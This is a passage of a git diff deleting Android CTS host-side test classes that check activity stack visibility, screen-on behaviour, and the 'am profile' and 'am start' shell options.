- private static final String TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY_NAME = "TurnScreenOnShowOnLockActivity";
- private static final String TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY_NAME = "TurnScreenOnAttrRemoveAttrActivity";
- private static final String TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME = "TurnScreenOnSingleTaskActivity";
- private static final String TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY =
- "TurnScreenOnWithRelayoutActivity";
-
- @Override
- protected void tearDown() throws Exception {
- super.tearDown();
- tearDownLockCredentials();
- }
-
- public void testTranslucentActivityOnTopOfPinnedStack() throws Exception {
- if (!supportsPip()) {
- return;
- }
-
- executeShellCommand(getAmStartCmdOverHome(PIP_ON_PIP_ACTIVITY));
- mAmWmState.waitForValidState(mDevice, PIP_ON_PIP_ACTIVITY);
- // NOTE: moving to pinned stack will trigger the pip-on-pip activity to launch the
- // translucent activity.
- executeShellCommand(AM_MOVE_TOP_ACTIVITY_TO_PINNED_STACK_COMMAND);
-
- mAmWmState.computeState(mDevice, new String[] {PIP_ON_PIP_ACTIVITY, TRANSLUCENT_ACTIVITY});
- mAmWmState.assertFrontStack("Pinned stack must be the front stack.", PINNED_STACK_ID);
- mAmWmState.assertVisibility(PIP_ON_PIP_ACTIVITY, true);
- mAmWmState.assertVisibility(TRANSLUCENT_ACTIVITY, true);
- }
-
- /**
- * Asserts that the home activity is visible when a translucent activity is launched in the
- * fullscreen stack over the home activity.
- */
- public void testTranslucentActivityOnTopOfHome() throws Exception {
- if (noHomeScreen()) {
- return;
- }
-
- launchHomeActivity();
- launchActivity(TRANSLUCENT_ACTIVITY);
-
- mAmWmState.computeState(mDevice, new String[]{TRANSLUCENT_ACTIVITY});
- mAmWmState.assertFrontStack(
- "Fullscreen stack must be the front stack.", FULLSCREEN_WORKSPACE_STACK_ID);
- mAmWmState.assertVisibility(TRANSLUCENT_ACTIVITY, true);
- mAmWmState.assertHomeActivityVisible(true);
- }
-
- /**
- * Assert that the home activity is visible if a task that was launched from home is pinned
- * and also assert the next task in the fullscreen stack isn't visible.
- */
- public void testHomeVisibleOnActivityTaskPinned() throws Exception {
- if (!supportsPip()) {
- return;
- }
-
- launchHomeActivity();
- launchActivity(TEST_ACTIVITY_NAME);
- launchHomeActivity();
- launchActivity(TRANSLUCENT_ACTIVITY);
- executeShellCommand(AM_MOVE_TOP_ACTIVITY_TO_PINNED_STACK_COMMAND);
-
- mAmWmState.computeState(mDevice, new String[]{TRANSLUCENT_ACTIVITY});
-
- mAmWmState.assertVisibility(TRANSLUCENT_ACTIVITY, true);
- mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, false);
- mAmWmState.assertHomeActivityVisible(true);
- }
-
- public void testTranslucentActivityOverDockedStack() throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(INFO, "Skipping test: no multi-window support");
- return;
- }
-
- launchActivityInDockStack(DOCKED_ACTIVITY_NAME);
- mAmWmState.computeState(mDevice, new String[] {DOCKED_ACTIVITY_NAME});
- launchActivityInStack(TEST_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID);
- mAmWmState.computeState(mDevice, new String[] {DOCKED_ACTIVITY_NAME, TEST_ACTIVITY_NAME});
- launchActivityInStack(TRANSLUCENT_ACTIVITY_NAME, DOCKED_STACK_ID);
- mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME, DOCKED_ACTIVITY_NAME,
- TRANSLUCENT_ACTIVITY_NAME}, false /* compareTaskAndStackBounds */);
- mAmWmState.assertContainsStack("Must contain docked stack", DOCKED_STACK_ID);
- mAmWmState.assertContainsStack("Must contain fullscreen stack",
- FULLSCREEN_WORKSPACE_STACK_ID);
- mAmWmState.assertVisibility(DOCKED_ACTIVITY_NAME, true);
- mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true);
- mAmWmState.assertVisibility(TRANSLUCENT_ACTIVITY_NAME, true);
- }
-
- @Presubmit
- public void testTurnScreenOnActivity() throws Exception {
- sleepDevice();
- launchActivity(TURN_SCREEN_ON_ACTIVITY_NAME);
- mAmWmState.computeState(mDevice, new String[] { TURN_SCREEN_ON_ACTIVITY_NAME });
- mAmWmState.assertVisibility(TURN_SCREEN_ON_ACTIVITY_NAME, true);
- }
-
- public void testFinishActivityInNonFocusedStack() throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(INFO, "Skipping test: no multi-window support");
- return;
- }
-
- // Launch two activities in docked stack.
- launchActivityInDockStack(LAUNCHING_ACTIVITY);
- getLaunchActivityBuilder().setTargetActivityName(BROADCAST_RECEIVER_ACTIVITY).execute();
- mAmWmState.computeState(mDevice, new String[] { BROADCAST_RECEIVER_ACTIVITY });
- mAmWmState.assertVisibility(BROADCAST_RECEIVER_ACTIVITY, true);
- // Launch something to fullscreen stack to make it focused.
- launchActivityInStack(TEST_ACTIVITY_NAME, 1);
- mAmWmState.computeState(mDevice, new String[] { TEST_ACTIVITY_NAME });
- mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true);
- // Finish activity in non-focused (docked) stack.
- executeShellCommand(FINISH_ACTIVITY_BROADCAST);
- mAmWmState.computeState(mDevice, new String[] { LAUNCHING_ACTIVITY });
- mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true);
- mAmWmState.assertVisibility(BROADCAST_RECEIVER_ACTIVITY, false);
- }
-
- public void testFinishActivityWithMoveTaskToBackAfterPause() throws Exception {
- performFinishActivityWithMoveTaskToBack("on_pause");
- }
-
- public void testFinishActivityWithMoveTaskToBackAfterStop() throws Exception {
- performFinishActivityWithMoveTaskToBack("on_stop");
- }
-
- private void performFinishActivityWithMoveTaskToBack(String finishPoint) throws Exception {
- // Make sure home activity is visible.
- launchHomeActivity();
- if (!noHomeScreen()) {
- mAmWmState.assertHomeActivityVisible(true /* visible */);
- }
-
- // Launch an activity that calls "moveTaskToBack" to finish itself.
- launchActivity(MOVE_TASK_TO_BACK_ACTIVITY_NAME, "finish_point", finishPoint);
- mAmWmState.waitForValidState(mDevice, MOVE_TASK_TO_BACK_ACTIVITY_NAME);
- mAmWmState.assertVisibility(MOVE_TASK_TO_BACK_ACTIVITY_NAME, true);
-
- // Launch a different activity on top.
- launchActivity(BROADCAST_RECEIVER_ACTIVITY);
- mAmWmState.waitForActivityState(mDevice, BROADCAST_RECEIVER_ACTIVITY, STATE_RESUMED);
- mAmWmState.assertVisibility(MOVE_TASK_TO_BACK_ACTIVITY_NAME, false);
- mAmWmState.assertVisibility(BROADCAST_RECEIVER_ACTIVITY, true);
-
- // Finish the top-most activity.
- executeShellCommand(FINISH_ACTIVITY_BROADCAST);
-
- // Home must be visible.
- if (!noHomeScreen()) {
- mAmWmState.waitForHomeActivityVisible(mDevice);
- mAmWmState.assertHomeActivityVisible(true /* visible */);
- }
- }
-
- /**
- * Asserts that launching between reorder to front activities exhibits the correct backstack
- * behavior.
- */
- public void testReorderToFrontBackstack() throws Exception {
- // Start with home on top
- launchHomeActivity();
- if (!noHomeScreen()) {
- mAmWmState.assertHomeActivityVisible(true /* visible */);
- }
-
- // Launch the launching activity to the foreground
- launchActivity(LAUNCHING_ACTIVITY);
-
- // Launch the alternate launching activity from launching activity with reorder to front.
- getLaunchActivityBuilder().setTargetActivityName(ALT_LAUNCHING_ACTIVITY)
- .setReorderToFront(true).execute();
-
- // Launch the launching activity from the alternate launching activity with reorder to
- // front.
- getLaunchActivityBuilder().setTargetActivityName(LAUNCHING_ACTIVITY)
- .setLaunchingActivityName(ALT_LAUNCHING_ACTIVITY).setReorderToFront(true)
- .execute();
-
- // Press back
- pressBackButton();
-
- mAmWmState.waitForValidState(mDevice, ALT_LAUNCHING_ACTIVITY);
-
- // Ensure the alternate launching activity is in focus
- mAmWmState.assertFocusedActivity("Alt Launching Activity must be focused",
- ALT_LAUNCHING_ACTIVITY);
- }
-
- /**
- * Asserts that the activity focus and history is preserved moving between the activity and
- * home stack.
- */
- public void testReorderToFrontChangingStack() throws Exception {
- // Start with home on top
- launchHomeActivity();
- if (!noHomeScreen()) {
- mAmWmState.assertHomeActivityVisible(true /* visible */);
- }
-
- // Launch the launching activity to the foreground
- launchActivity(LAUNCHING_ACTIVITY);
-
- // Launch the alternate launching activity from launching activity with reorder to front.
- getLaunchActivityBuilder().setTargetActivityName(ALT_LAUNCHING_ACTIVITY)
- .setReorderToFront(true).execute();
-
- // Return home
- launchHomeActivity();
- if (!noHomeScreen()) {
- mAmWmState.assertHomeActivityVisible(true /* visible */);
- }
- // Launch the launching activity from the alternate launching activity with reorder to
- // front.
-
- // Bring launching activity back to the foreground
- launchActivity(LAUNCHING_ACTIVITY);
- mAmWmState.waitForValidState(mDevice, LAUNCHING_ACTIVITY);
-
- // Ensure the alternate launching activity is still in focus.
- mAmWmState.assertFocusedActivity("Alt Launching Activity must be focused",
- ALT_LAUNCHING_ACTIVITY);
-
- pressBackButton();
-
- mAmWmState.waitForValidState(mDevice, LAUNCHING_ACTIVITY);
-
- // Ensure launching activity was brought forward.
- mAmWmState.assertFocusedActivity("Launching Activity must be focused",
- LAUNCHING_ACTIVITY);
- }
-
- /**
- * Asserts that a nohistory activity is stopped and removed immediately after a resumed activity
- * above becomes visible and does not idle.
- */
- public void testNoHistoryActivityFinishedResumedActivityNotIdle() throws Exception {
- if (noHomeScreen()) {
- return;
- }
-
- // Start with home on top
- launchHomeActivity();
-
- // Launch no history activity
- launchActivity(NOHISTORY_ACTIVITY);
-
- // Launch an activity with a swipe refresh layout configured to prevent idle.
- launchActivity(SWIPE_REFRESH_ACTIVITY);
-
- pressBackButton();
- mAmWmState.waitForHomeActivityVisible(mDevice);
- mAmWmState.assertHomeActivityVisible(true);
- }
-
- public void testTurnScreenOnAttrNoLockScreen() throws Exception {
- wakeUpAndRemoveLock();
- sleepDevice();
- final String logSeparator = clearLogcat();
- launchActivity(TURN_SCREEN_ON_ATTR_ACTIVITY_NAME);
- mAmWmState.computeState(mDevice, new String[] { TURN_SCREEN_ON_ATTR_ACTIVITY_NAME });
- mAmWmState.assertVisibility(TURN_SCREEN_ON_ATTR_ACTIVITY_NAME, true);
- assertTrue(isDisplayOn());
- assertSingleLaunch(TURN_SCREEN_ON_ATTR_ACTIVITY_NAME, logSeparator);
- }
-
- public void testTurnScreenOnAttrWithLockScreen() throws Exception {
- if (!isHandheld()) {
- // This test requires the ability to have a lock screen.
- return;
- }
-
- setLockCredential();
- sleepDevice();
- final String logSeparator = clearLogcat();
- launchActivity(TURN_SCREEN_ON_ATTR_ACTIVITY_NAME);
- mAmWmState.computeState(mDevice, new String[] { TURN_SCREEN_ON_ATTR_ACTIVITY_NAME });
- assertFalse(isDisplayOn());
- assertSingleLaunchAndStop(TURN_SCREEN_ON_ATTR_ACTIVITY_NAME, logSeparator);
- }
-
- public void testTurnScreenOnShowOnLockAttr() throws Exception {
- sleepDevice();
- mAmWmState.waitForAllStoppedActivities(mDevice);
- final String logSeparator = clearLogcat();
- launchActivity(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY_NAME);
- mAmWmState.computeState(mDevice, new String[] { TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY_NAME });
- mAmWmState.assertVisibility(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY_NAME, true);
- assertTrue(isDisplayOn());
- assertSingleLaunch(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY_NAME, logSeparator);
- }
-
- public void testTurnScreenOnAttrRemove() throws Exception {
- sleepDevice();
- mAmWmState.waitForAllStoppedActivities(mDevice);
- String logSeparator = clearLogcat();
- launchActivity(TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY_NAME);
- mAmWmState.computeState(mDevice, new String[] {
- TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY_NAME});
- assertTrue(isDisplayOn());
- assertSingleLaunch(TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY_NAME, logSeparator);
-
- sleepDevice();
- mAmWmState.waitForAllStoppedActivities(mDevice);
- logSeparator = clearLogcat();
- launchActivity(TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY_NAME);
- assertFalse(isDisplayOn());
- assertSingleStartAndStop(TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY_NAME, logSeparator);
- }
-
- public void testTurnScreenOnSingleTask() throws Exception {
- sleepDevice();
- String logSeparator = clearLogcat();
- launchActivity(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME);
- mAmWmState.computeState(mDevice, new String[] { TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME });
- mAmWmState.assertVisibility(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME, true);
- assertTrue(isDisplayOn());
- assertSingleLaunch(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME, logSeparator);
-
- sleepDevice();
- logSeparator = clearLogcat();
- launchActivity(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME);
- mAmWmState.computeState(mDevice, new String[] { TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME });
- mAmWmState.assertVisibility(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME, true);
- assertTrue(isDisplayOn());
- assertSingleStart(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME, logSeparator);
- }
-
- public void testTurnScreenOnActivity_withRelayout() throws Exception {
- sleepDevice();
- launchActivity(TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY);
- mAmWmState.computeState(mDevice, new String[] { TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY });
- mAmWmState.assertVisibility(TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY, true);
-
- String logSeparator = clearLogcat();
- sleepDevice();
- mAmWmState.waitFor("Waiting for stopped state", () ->
- lifecycleStopOccurred(TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY, logSeparator));
-
- // Ensure there was an actual stop if the waitFor timed out.
- assertTrue(lifecycleStopOccurred(TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY, logSeparator));
- assertFalse(isDisplayOn());
- }
-
- private boolean lifecycleStopOccurred(String activityName, String logSeparator) {
- try {
- ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(activityName,
- logSeparator);
- return lifecycleCounts.mStopCount > 0;
- } catch (DeviceNotAvailableException e) {
- logE(e.toString());
- return false;
- }
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAmProfileTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAmProfileTests.java
deleted file mode 100644
index f462c60..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAmProfileTests.java
+++ /dev/null
@@ -1,166 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import com.google.common.io.Files;
-
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.util.FileUtil;
-
-import java.io.File;
-import java.lang.StringBuilder;
-
-/**
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerAmProfileTests
- *
- * Please talk to Android Studio team first if you want to modify or delete these tests.
- */
-public class ActivityManagerAmProfileTests extends ActivityManagerTestBase {
-
- private static final String TEST_PACKAGE_NAME = "android.server.cts.debuggable";
- private static final String TEST_ACTIVITY_NAME = "DebuggableAppActivity";
- private static final String OUTPUT_FILE_PATH = "/data/local/tmp/profile.trace";
- private static final String FIRST_WORD_NO_STREAMING = "*version\n";
- private static final String FIRST_WORD_STREAMING = "SLOW"; // Magic word set by runtime.
-
- private ITestDevice mDevice;
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- mDevice = getDevice();
- setComponentName(TEST_PACKAGE_NAME);
- }
-
- /**
- * Test am profile functionality with the following 3 configurable options:
- * starting the activity before start profiling? yes;
- * sampling-based profiling? no;
- * using streaming output mode? no.
- */
- public void testAmProfileStartNoSamplingNoStreaming() throws Exception {
- // am profile start ... , and the same to the following 3 test methods.
- testProfile(true, false, false);
- }
-
- /**
- * The following tests are similar to testAmProfileStartNoSamplingNoStreaming(),
- * only different in the three configuration options.
- */
- public void testAmProfileStartNoSamplingStreaming() throws Exception {
- testProfile(true, false, true);
- }
- public void testAmProfileStartSamplingNoStreaming() throws Exception {
- testProfile(true, true, false);
- }
- public void testAmProfileStartSamplingStreaming() throws Exception {
- testProfile(true, true, true);
- }
- public void testAmStartStartProfilerNoSamplingNoStreaming() throws Exception {
- // am start --start-profiler ..., and the same to the following 3 test methods.
- testProfile(false, false, false);
- }
- public void testAmStartStartProfilerNoSamplingStreaming() throws Exception {
- testProfile(false, false, true);
- }
- public void testAmStartStartProfilerSamplingNoStreaming() throws Exception {
- testProfile(false, true, false);
- }
- public void testAmStartStartProfilerSamplingStreaming() throws Exception {
- testProfile(false, true, true);
- }
-
- private void testProfile(boolean startActivityFirst,
- boolean sampling, boolean streaming) throws Exception {
- if (startActivityFirst) {
- launchActivity(TEST_ACTIVITY_NAME);
- }
-
- String cmd = getStartCmd(TEST_ACTIVITY_NAME, startActivityFirst, sampling, streaming);
- executeShellCommand(cmd);
- // Go to home screen and then warm start the activity to generate some interesting trace.
- pressHomeButton();
- launchActivity(TEST_ACTIVITY_NAME);
-
- cmd = "am profile stop " + componentName;
- executeShellCommand(cmd);
- // Sleep for 0.1 second (100 milliseconds) so the generation of the profiling
- // file is complete.
- try {
- Thread.sleep(100);
- } catch (InterruptedException e) {
- //ignored
- }
- verifyOutputFileFormat(streaming);
- }
-
- private String getStartCmd(String activityName, boolean activityAlreadyStarted,
- boolean sampling, boolean streaming) {
- StringBuilder builder = new StringBuilder("am");
- if (activityAlreadyStarted) {
- builder.append(" profile start");
- } else {
- builder.append(String.format(" start -n %s/.%s -W -S --start-profiler %s",
- componentName, activityName, OUTPUT_FILE_PATH));
- }
- if (sampling) {
- builder.append(" --sampling 1000");
- }
- if (streaming) {
- builder.append(" --streaming");
- }
- if (activityAlreadyStarted) {
- builder.append(String.format(" %s %s", componentName, OUTPUT_FILE_PATH));
- } else {
-
- }
- return builder.toString();
- }
-
- private void verifyOutputFileFormat(boolean streaming) throws Exception {
- String expectedFirstWord = streaming ? FIRST_WORD_STREAMING : FIRST_WORD_NO_STREAMING;
- byte[] data = readFileOnClient(OUTPUT_FILE_PATH);
- assertTrue("data size=" + data.length, data.length >= expectedFirstWord.length());
- String actualFirstWord = new String(data, 0, expectedFirstWord.length());
- assertTrue("Unexpected first word: '" + actualFirstWord + "'",
- actualFirstWord.equals(expectedFirstWord));
- // Clean up.
- executeShellCommand("rm -f " + OUTPUT_FILE_PATH);
- }
-
- private byte[] readFileOnClient(String clientPath) throws Exception {
- assertTrue("File not found on client: " + clientPath,
- mDevice.doesFileExist(clientPath));
- File copyOnHost = File.createTempFile("host", "copy");
- try {
- executeAdbCommand("pull", clientPath, copyOnHost.getPath());
- return Files.toByteArray(copyOnHost);
- } finally {
- FileUtil.deleteFile(copyOnHost);
- }
- }
-
- private String[] executeAdbCommand(String... command) throws DeviceNotAvailableException {
- String output = mDevice.executeAdbCommand(command);
- // "".split() returns { "" }, but we want an empty array
- String[] lines = output.equals("") ? new String[0] : output.split("\n");
- return lines;
- }
-
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAmStartOptionsTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAmStartOptionsTests.java
deleted file mode 100644
index f6df4a8..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAmStartOptionsTests.java
+++ /dev/null
@@ -1,185 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import com.android.tradefed.device.DeviceNotAvailableException;
-
-import java.util.regex.Pattern;
-import java.util.regex.Matcher;
-
-/**
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerAmStartOptionsTests
- */
-public class ActivityManagerAmStartOptionsTests extends ActivityManagerTestBase {
-
- private static final String TEST_ACTIVITY_NAME = "TestActivity";
- private static final String ENTRYPOINT_ACTIVITY_NAME = "EntryPointAliasActivity";
- private static final String SINGLE_TASK_ACTIVITY_NAME = "SingleTaskActivity";
-
- public void testDashD() throws Exception {
- final String activityComponentName =
- ActivityManagerTestBase.getActivityComponentName(TEST_ACTIVITY_NAME);
-
- final String[] waitForActivityRecords = new String[] {activityComponentName};
-
- // Run at least 2 rounds to verify that -D works with an existing process.
- // -D could fail in this case if the force stop of process is broken.
- int prevProcId = -1;
- for (int i = 0; i < 2; i++) {
- executeShellCommand(getAmStartCmd(TEST_ACTIVITY_NAME) + " -D");
-
- mAmWmState.waitForDebuggerWindowVisible(mDevice, waitForActivityRecords);
- int procId = mAmWmState.getAmState().getActivityProcId(activityComponentName);
-
- assertTrue("Invalid ProcId.", procId >= 0);
- if (i > 0) {
- assertTrue("Run " + i + " didn't start new proc.", prevProcId != procId);
- }
- prevProcId = procId;
- }
- }
-
- public void testDashW_Direct() throws Exception {
- testDashW(SINGLE_TASK_ACTIVITY_NAME, SINGLE_TASK_ACTIVITY_NAME);
- }
-
- public void testDashW_Indirect() throws Exception {
- testDashW(ENTRYPOINT_ACTIVITY_NAME, SINGLE_TASK_ACTIVITY_NAME);
- }
-
- private void testDashW(final String entryActivity, final String actualActivity)
- throws Exception {
- // Test cold start
- startActivityAndVerifyResult(entryActivity, actualActivity, true);
-
- // Test warm start
- pressHomeButton();
- startActivityAndVerifyResult(entryActivity, actualActivity, false);
-
- // Test "hot" start (app already in front)
- startActivityAndVerifyResult(entryActivity, actualActivity, false);
- }
-
- private void startActivityAndVerifyResult(final String entryActivity,
- final String actualActivity, boolean shouldStart) throws Exception {
- // See TODO below
- // final String logSeparator = clearLogcat();
-
- // Pass in different data only when cold starting. This is to make the intent
- // different in subsequent warm/hot launches, so that the entrypoint alias
- // activity is always started, but the actual activity is not started again
- // because of the NEW_TASK and singleTask flags.
- final String result = executeShellCommand(getAmStartCmd(entryActivity) + " -W"
- + (shouldStart ? " -d about:blank" : ""));
-
- // Verify shell command return value
- verifyShellOutput(result, actualActivity, shouldStart);
-
- // TODO: Disable logcat check for now.
- // Logcat of WM or AM tag could be lost (eg. chatty if earlier events generated
- // too many lines), and make the test look flaky. We need to either use event
- // log or swith to other mechanisms. Only verify shell output for now, it should
- // still catch most failures.
-
- // Verify adb logcat log
- //verifyLogcat(actualActivity, shouldStart, logSeparator);
- }
-
- private static final Pattern sNotStartedWarningPattern = Pattern.compile(
- "Warning: Activity not started(.*)");
- private static final Pattern sStatusPattern = Pattern.compile(
- "Status: (.*)");
- private static final Pattern sActivityPattern = Pattern.compile(
- "Activity: (.*)");
- private static final String sStatusOk = "ok";
-
- private void verifyShellOutput(
- final String result, final String activity, boolean shouldStart) {
- boolean warningFound = false;
- String status = null;
- String reportedActivity = null;
- String componentActivityName = getActivityComponentName(activity);
-
- final String[] lines = result.split("\\n");
- // Going from the end of logs to beginning in case if some other activity is started first.
- for (int i = lines.length - 1; i >= 0; i--) {
- final String line = lines[i].trim();
- Matcher matcher = sNotStartedWarningPattern.matcher(line);
- if (matcher.matches()) {
- warningFound = true;
- continue;
- }
- matcher = sStatusPattern.matcher(line);
- if (matcher.matches()) {
- status = matcher.group(1);
- continue;
- }
- matcher = sActivityPattern.matcher(line);
- if (matcher.matches()) {
- reportedActivity = matcher.group(1);
- continue;
- }
- }
-
- assertTrue("Status " + status + " is not ok", sStatusOk.equals(status));
- assertTrue("Reported activity is " + reportedActivity + " not " + componentActivityName,
- componentActivityName.equals(reportedActivity));
-
- if (shouldStart && warningFound) {
- fail("Should start new activity but brought something to front.");
- } else if (!shouldStart && !warningFound){
- fail("Should bring existing activity to front but started new activity.");
- }
- }
-
- private static final Pattern sDisplayTimePattern =
- Pattern.compile("(.+): Displayed (.*): (\\+{0,1})([0-9]+)ms(.*)");
-
- void verifyLogcat(String actualActivityName, boolean shouldStart, String logSeparator)
- throws DeviceNotAvailableException {
- int displayCount = 0;
- String activityName = null;
-
- for (String line : getDeviceLogsForComponent("ActivityManager", logSeparator)) {
- line = line.trim();
-
- Matcher matcher = sDisplayTimePattern.matcher(line);
- if (matcher.matches()) {
- activityName = matcher.group(2);
- // Ignore activitiy displays from other packages, we don't
- // want some random activity starts to ruin our test.
- if (!activityName.startsWith("android.server.cts")) {
- continue;
- }
- if (!shouldStart) {
- fail("Shouldn't display anything but displayed " + activityName);
- }
- displayCount++;
- }
- }
- final String expectedActivityName = getActivityComponentName(actualActivityName);
- if (shouldStart) {
- if (displayCount != 1) {
- fail("Should display exactly one activity but displayed " + displayCount);
- } else if (!expectedActivityName.equals(activityName)) {
- fail("Should display " + expectedActivityName +
- " but displayed " + activityName);
- }
- }
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java
deleted file mode 100644
index e2aeec4..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java
+++ /dev/null
@@ -1,591 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-package android.server.cts;
-
-import static android.server.cts.ActivityManagerState.STATE_RESUMED;
-
-import android.platform.test.annotations.Presubmit;
-
-import android.server.cts.ActivityManagerState.ActivityStack;
-import android.server.cts.ActivityManagerState.ActivityTask;
-import com.android.ddmlib.Log.LogLevel;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import java.awt.Rectangle;
-import java.util.ArrayList;
-import java.util.List;
-
-import static android.server.cts.ActivityAndWindowManagersState.dpToPx;
-
-/**
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerAppConfigurationTests
- */
-public class ActivityManagerAppConfigurationTests extends ActivityManagerTestBase {
- private static final String RESIZEABLE_ACTIVITY_NAME = "ResizeableActivity";
- private static final String TEST_ACTIVITY_NAME = "TestActivity";
- private static final String PORTRAIT_ACTIVITY_NAME = "PortraitOrientationActivity";
- private static final String LANDSCAPE_ACTIVITY_NAME = "LandscapeOrientationActivity";
- private static final String NIGHT_MODE_ACTIVITY = "NightModeActivity";
- private static final String DIALOG_WHEN_LARGE_ACTIVITY = "DialogWhenLargeActivity";
-
- private static final String TRANSLUCENT_ACTIVITY = "TranslucentLandscapeActivity";
- private static final String TRANSLUCENT_CURRENT_PACKAGE = "android.server.translucentapp";
-
- private static final String EXTRA_LAUNCH_NEW_TASK = "launch_new_task";
-
- private static final int SMALL_WIDTH_DP = 426;
- private static final int SMALL_HEIGHT_DP = 320;
-
- /**
- * Tests that the WindowManager#getDefaultDisplay() and the Configuration of the Activity
- * has an updated size when the Activity is resized from fullscreen to docked state.
- *
- * The Activity handles configuration changes, so it will not be restarted between resizes.
- * On Configuration changes, the Activity logs the Display size and Configuration width
- * and heights. The values reported in fullscreen should be larger than those reported in
- * docked state.
- */
- public void testConfigurationUpdatesWhenResizedFromFullscreen() throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
- return;
- }
-
- String logSeparator = clearLogcat();
- launchActivityInStack(RESIZEABLE_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID);
- final ReportedSizes fullscreenSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME,
- logSeparator);
-
- logSeparator = clearLogcat();
- moveActivityToStack(RESIZEABLE_ACTIVITY_NAME, DOCKED_STACK_ID);
- final ReportedSizes dockedSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME,
- logSeparator);
-
- assertSizesAreSane(fullscreenSizes, dockedSizes);
- }
-
- /**
- * Same as {@link #testConfigurationUpdatesWhenResizedFromFullscreen()} but resizing
- * from docked state to fullscreen (reverse).
- */
